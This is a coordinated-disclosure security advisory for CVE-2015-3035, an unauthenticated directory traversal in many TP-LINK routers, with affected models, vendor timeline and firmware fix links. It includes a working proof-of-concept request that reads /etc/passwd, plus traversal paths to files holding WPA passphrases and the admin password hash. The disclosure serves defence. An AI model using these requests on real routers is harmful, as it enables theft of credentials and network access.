SEC Consult Vulnerability Lab Security Advisory < 20150410-0 > ======================================================================= title: Unauthenticated Local File Disclosure product: Multiple TP-LINK products (see Vulnerable / tested versions) vulnerable version: Multiple (see Vulnerable / tested versions) fixed version: see Solution CVE number: CVE-2015-3035 impact: Critical homepage: http://tp-link.com found: 2015-02-19 by: Stefan Viehbck (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Berlin - Frankfurt/Main - Montreal - Singapore Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "TP-LINK is a global provider of SOHO & SMB networking products and the World's No.1 provider of WLAN products, with products available in over 120 countries to tens of millions customers. Committed to intensive R&D, efficient production and strict quality management, TP-LINK continues to provide award-winning networking products in Wireless, ADSL, Routers, Switches, IP Cameras, Powerline Adapters, Print Servers, Media Converters and Network Adapters for Global end-users." Source: http://www.tp-link.us/about/?categoryid=102 Business recommendation: ------------------------ Attackers can read sensitive configuration files without prior authentication. These files e.g. include the administrator credentials and the WPA passphrase. TP-LINK has provided fixed firmware which should be installed immediately. Vulnerability overview/description: ----------------------------------- Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed. Proof of concept: ----------------- The following HTTP request shows how directory traversal can be used to gain access to files without prior authentication: =============================================================================== GET /login/../../../etc/passwd HTTP/1.1 Host: $host =============================================================================== The server response includes the contents of the file: =============================================================================== HTTP/1.1 200 OK Server: Router Webserver Connection: Keep-Alive Keep-Alive: Persist: WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300" Content-Length: 683 Content-Type: text/html root:x:0:0:root:/root:/bin/sh Admin:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/usr/sbin:/bin/sh adm:x:3:4:adm:/adm:/bin/sh lp:x:4:7:lp:/var/spool/lpd:/bin/sh sync:x:5:0:sync:/bin:/bin/sync shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh operator:x:11:0:Operator:/var:/bin/sh nobody:x:65534:65534:nobody:/home:/bin/sh ap71:x:500:0:Linux User,,,:/root:/bin/sh dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh admin:x:500:500:admin:/home:/bin/sh guest:x:500:500:guest:/home:/bin/sh dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh dropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh =============================================================================== Several sensitive files can be read. These include: Files containing Wi-Fi configuration including WPA-passphrase: /login/../../../tmp/ath.ap_bss /login/../../../tmp/ath1.ap_bss A file containing administrator credentials (format: $user:md5($password), which can be brute-forced very efficiently: /login/../../../tmp/dropbear/dropbearpwd Example server response: =============================================================================== HTTP/1.1 200 OK Server: Router Webserver Connection: Keep-Alive Keep-Alive: Persist: WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300" Content-Length: 56 Content-Type: text/html username:admin password:11d0fc2ff3e7862d8a3f9b280e6d390c =============================================================================== Vulnerable / tested versions: ----------------------------- The vulnerability affects the following products: TP-LINK Archer C5 (Hardware version 1.2) TP-LINK Archer C7 (Hardware version 2.0) TP-LINK Archer C8 (Hardware version 1.0) TP-LINK Archer C9 (Hardware version 1.0) TP-LINK TL-WDR3500 (Hardware version 1.0) TP-LINK TL-WDR3600 (Hardware version 1.0) TP-LINK TL-WDR4300 (Hardware version 1.0) TP-LINK TL-WR740N (Hardware version 5.0) TP-LINK TL-WR741ND (Hardware version 5.0) TP-LINK TL-WR841N (Hardware version 9.0) TP-LINK TL-WR841N (Hardware version 10.0) TP-LINK TL-WR841ND (Hardware version 9.0) TP-LINK TL-WR841ND (Hardware version 10.0) Vendor contact timeline: ------------------------ 2015-02-19: Contacting vendor through support@tp-link.com. 2015-02-24: Resending email as previous ticket has been closed by TP-LINK. 2015-02-24: Contacting technical support engineer of TP-LINK, contact received by 3rd party. 2015-02-25: Requesting encryption keys, providing affected models. 2015-02-26: No encryption keys available, sending advisory in unencrypted form. 2015-02-28: Vendor confirms vulnerability, provides beta firmware. 2015-03-03: Sending confirmation that beta firmware fixes the vulnerability. 2015-03-06: Vendor is working on release schedule, affected devices. 2015-03-16: Vendor announces that fixed firmware will be released by the end of March. 2015-03-24: Vendor confirms that firmware releases are on schedule. 2015-04-08: Vendor provides final list of affected products & download URLs. 2015-04-10: Coordinated release of security advisory. Solution: --------- Update to the most recent firmware version: TP-LINK Archer C5 (Hardware version 1.2): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13048 TP-LINK Archer C7 (Hardware version 2.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13008 TP-LINK Archer C8 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13052 TP-LINK Archer C9 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13020 TP-LINK TL-WDR3500 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13018 TP-LINK TL-WDR3600 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13019 TP-LINK TL-WDR4300 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13009 TP-LINK TL-WR740N (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13012 TP-LINK TL-WR741ND (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13013 TP-LINK TL-WR841N (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13033 TP-LINK TL-WR841N (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13036 TP-LINK TL-WR841ND (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13035 TP-LINK TL-WR841ND (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13037 Workaround: ----------- See solution. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Berlin - Frankfurt/Main - Montreal - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Stefan Viehbck / @2015